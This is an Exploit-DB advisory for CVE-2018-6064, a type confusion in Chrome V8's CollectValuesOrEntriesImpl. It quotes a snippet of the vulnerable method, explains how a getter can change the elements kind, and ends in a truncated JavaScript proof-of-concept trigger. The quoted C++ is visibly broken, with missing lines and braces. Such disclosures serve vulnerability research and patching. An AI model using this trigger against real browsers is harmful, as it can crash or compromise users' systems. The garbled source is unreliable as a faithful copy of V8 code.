Google Chrome V8 - 'ElementsAccessorBase::CollectValuesOrEntriesImpl' Type Confusion

ID EDB-ID:44394
Type exploitdb
Reporter Exploit-DB
Modified 2018-04-03T00:00:00


Google Chrome V8 - 'ElementsAccessorBase::CollectValuesOrEntriesImpl' Type Confusion. CVE-2018-6064. Dos exploit for Multiple platform. Tags: Type Confusion

Here's a snippet of the method.

  static Maybe<bool> CollectValuesOrEntriesImpl(
      Isolate* isolate, Handle<JSObject> object,
      Handle<FixedArray> values_or_entries, bool get_entries, int* nof_items,
      PropertyFilter filter) {
    for (int i = 0; i < keys->length(); ++i) {
      Handle<Object> key(keys->get(i), isolate);
      Handle<Object> value;
      uint32_t index;
      if (!key->ToUint32(&index)) continue;
      uint32_t entry = Subclass::GetEntryForIndexImpl(
          isolate, *object, object->elements(), index, filter);
      if (entry == kMaxUInt32) continue;

      PropertyDetails details = Subclass::GetDetailsImpl(*object, entry);

      if (details.kind() == kData) {
        value = Subclass::GetImpl(isolate, object->elements(), entry);
      } else {
        LookupIterator it(isolate, object, index, LookupIterator::OWN);
            isolate, value, Object::GetProperty(&it), Nothing<bool>()); <<------- (a)
      if (get_entries) {
        value = MakeEntryPair(isolate, index, value);
      values_or_entries->set(count++, *value);

    *nof_items = count;
    return Just(true);

At (a), the elements kind can be changed by getters. This will lead to type confusion in GetEntryForIndexImpl.


let arr = [];
arr[1000] = 0x1234;

arr.__defineGetter__(256, function () {
    delete arr[256];

    arr.length = 0;